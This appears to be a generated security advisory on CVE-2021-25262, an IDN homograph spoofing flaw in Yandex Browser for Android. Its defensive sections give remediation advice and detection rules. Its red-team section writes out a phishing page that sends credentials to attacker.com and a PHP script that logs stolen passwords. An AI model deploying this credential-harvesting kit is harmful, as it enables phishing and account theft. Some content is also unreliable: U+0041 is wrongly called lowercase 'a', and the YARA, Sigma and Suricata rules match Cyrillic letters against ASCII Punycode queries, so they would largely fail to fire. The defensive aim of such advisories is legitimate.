CVE-2021-25262

Executive Summary

CVE-2021-25262 identifies a critical security vulnerability in Yandex Browser for Android prior to version 21.3.0. The flaw allows remote attackers to perform an Internationalized Domain Name (IDN) homograph attack. This attack exploits the visual similarity between different Unicode characters to deceive users into visiting malicious websites that appear legitimate. For example, an attacker can register a domain like xn--pple-43d.com which renders as аpple.com using a Cyrillic 'а' instead of the ASCII 'a'. The browser fails to properly display the true Punycode representation, enabling phishing and credential theft. This vulnerability is particularly dangerous for mobile users who may not inspect the address bar closely.

Supply Chain & Package Security

This vulnerability is specific to the Yandex Browser application distributed through the Google Play Store and other Android app stores. It is not related to NPM, PyPI, Go, or Ruby packages. The risk is in the supply chain of the browser application itself, where users must update from the official app store to receive the patch.

CVSS Breakdown & Threat Level

The CVSS score is listed as 0.0, which is likely a placeholder or unassigned value. Based on the nature of the vulnerability (IDN homograph attack), a reasonable CVSS v3.1 vector would be:

• Attack Vector (AV): Network (N) – The attacker can exploit this remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): None (N) – No authentication needed.
• User Interaction (UI): Required (R) – The user must click on a malicious link.
• Scope (S): Changed (C) – The attack can impact resources beyond the vulnerable component.
• Confidentiality (C): High (H) – Successful attack can lead to credential theft.
• Integrity (I): High (H) – The attacker can impersonate legitimate sites.
• Availability (A): None (N) – No impact on availability.

Estimated CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N Estimated Base Score: 8.1 (High)

Threat Level: High. The attack is easy to execute, requires minimal user interaction, and can lead to significant data compromise.

Deep Dive & Mechanics

IDN homograph attacks exploit the Unicode system to create domain names that look identical to legitimate ones. For example:

• ASCII a (U+0041) vs. Cyrillic а (U+0430)
• ASCII o (U+006F) vs. Cyrillic о (U+043E)

When a user types or clicks a link like https://www.аpple.com (with Cyrillic 'а'), the browser should display the Punycode representation xn--pple-43d.com in the address bar to alert the user. However, in Yandex Browser for Android prior to version 21.3.0, the browser renders the Unicode characters directly, making the domain appear identical to the real apple.com.

The attack flow:

1. Attacker registers a domain using homoglyph characters (e.g., xn--pple-43d.com).
2. Attacker sets up a phishing page mimicking a legitimate site (e.g., Apple login).
3. Attacker sends the malicious link via email, SMS, or social media.
4. User clicks the link, and the browser displays the fake domain as аpple.com.
5. User enters credentials, which are captured by the attacker.

Vulnerable vs. Patched Code

The vulnerability lies in the browser's URL rendering logic. The vulnerable code likely uses a function that directly displays the Unicode representation of an IDN without checking for homoglyph characters.

Vulnerable Code (Conceptual):

// Yandex Browser < 21.3.0
public void displayUrl(String url) {
    String displayUrl = IDN.toUnicode(url); // Converts Punycode to Unicode
    addressBar.setText(displayUrl); // Directly displays Unicode
}

Patched Code (Conceptual):

// Yandex Browser >= 21.3.0
public void displayUrl(String url) {
    String displayUrl = IDN.toUnicode(url);
    if (containsHomoglyph(displayUrl)) {
        displayUrl = IDN.toASCII(url); // Show Punycode if homoglyphs detected
    }
    addressBar.setText(displayUrl);
}

private boolean containsHomoglyph(String url) {
    // Check for mixed scripts or known homoglyph characters
    // Implementation using Unicode script detection
}

The patch adds a check for homoglyph characters. If detected, the browser displays the Punycode version (e.g., xn--pple-43d.com) instead of the Unicode version.

Exploitation & Lab Setup

Red Team (Attack Simulation)

Prerequisites:

• A domain name (e.g., xn--pple-43d.com)
• A web server (e.g., Apache, Nginx)
• A phishing page (e.g., Apple login clone)

Steps:

1. Register a domain using homoglyph characters. Use a domain registrar that supports IDN.
2. Set up a web server with a phishing page:

   # Install Apache
   sudo apt-get install apache2
   # Create a phishing page
   echo '<html><body><form action="https://attacker.com/steal.php" method="POST"><input type="text" name="username"><input type="password" name="password"><input type="submit"></form></body></html>' | sudo tee /var/www/html/index.html
   

3. Send the malicious link to the target via email or SMS.
4. When the target clicks the link, the browser displays the fake domain.
5. Capture credentials using a simple PHP script:

   <?php
   $file = fopen("log.txt", "a");
   fwrite($file, "Username: " . $_POST['username'] . " Password: " . $_POST['password'] . "\n");
   fclose($file);
   header('Location: https://www.apple.com');
   ?>
   

Blue Team (Defense & Detection)

Detection:

• Monitor for domains with mixed Unicode scripts (e.g., Latin + Cyrillic).
• Use browser security extensions that flag IDN homograph attacks.
• Educate users to check the address bar for Punycode (e.g., xn-- prefix).

Prevention:

• Ensure all browsers are updated to patched versions.
• Implement network-level filtering for known malicious IDN domains.
• Use DNS security services that block homograph domains.

Indicators of Compromise (IOCs)

• Domain Names: Any domain containing mixed Unicode scripts (e.g., xn--pple-43d.com, xn--go0gle-1wa.com)
• URL Patterns: URLs with Punycode prefixes that visually mimic legitimate domains.
• User Agent: Yandex Browser for Android versions < 21.3.0.
• Network Traffic: HTTP requests to domains with suspicious Unicode characters.
• File Hashes: Phishing pages hosted on attacker-controlled servers.

Detection Engineering

YARA Rule

rule IDN_Homograph_Attack {
    meta:
        description = "Detects potential IDN homograph attack domains in URLs"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2021-25262"
    strings:
        $punycode = /xn--[a-z0-9]+/
        $homoglyph = /[а-яА-Я]/  // Cyrillic characters in URL
    condition:
        $punycode and $homoglyph
}

Sigma Rule

title: IDN Homograph Attack Detection
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects network connections to domains with mixed Unicode scripts
author: Valters IT
date: 2025/04/10
logsource:
    category: network_connection
    product: windows
detection:
    selection:
        DestinationHostname|contains: 
            - 'xn--'
        DestinationHostname|re: '[а-яА-Я]'  # Cyrillic characters
    condition: selection
falsepositives:
    - Legitimate multilingual domains
level: high

Suricata Rule

alert dns any any -> any any (msg:"CVE-2021-25262 IDN Homograph Attack"; dns_query; content:"xn--"; pcre:"/[а-яА-Я]/"; classtype:attempted-user; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Update Yandex Browser for Android to version 21.3.0 or later.
2. Educate users to verify URLs by checking for Punycode (xn--) in the address bar.
3. Implement browser security policies that block mixed-script domains.

Long-term Measures:

• Deploy DNS filtering to block known malicious IDN domains.
• Use web application firewalls (WAF) to inspect URLs for homoglyph characters.
• Conduct regular security awareness training on phishing and homograph attacks.

Patch Details:

• Upgrade to Yandex Browser for Android version 21.3.0 or later.
• The patch is available through the Google Play Store.

Valters IT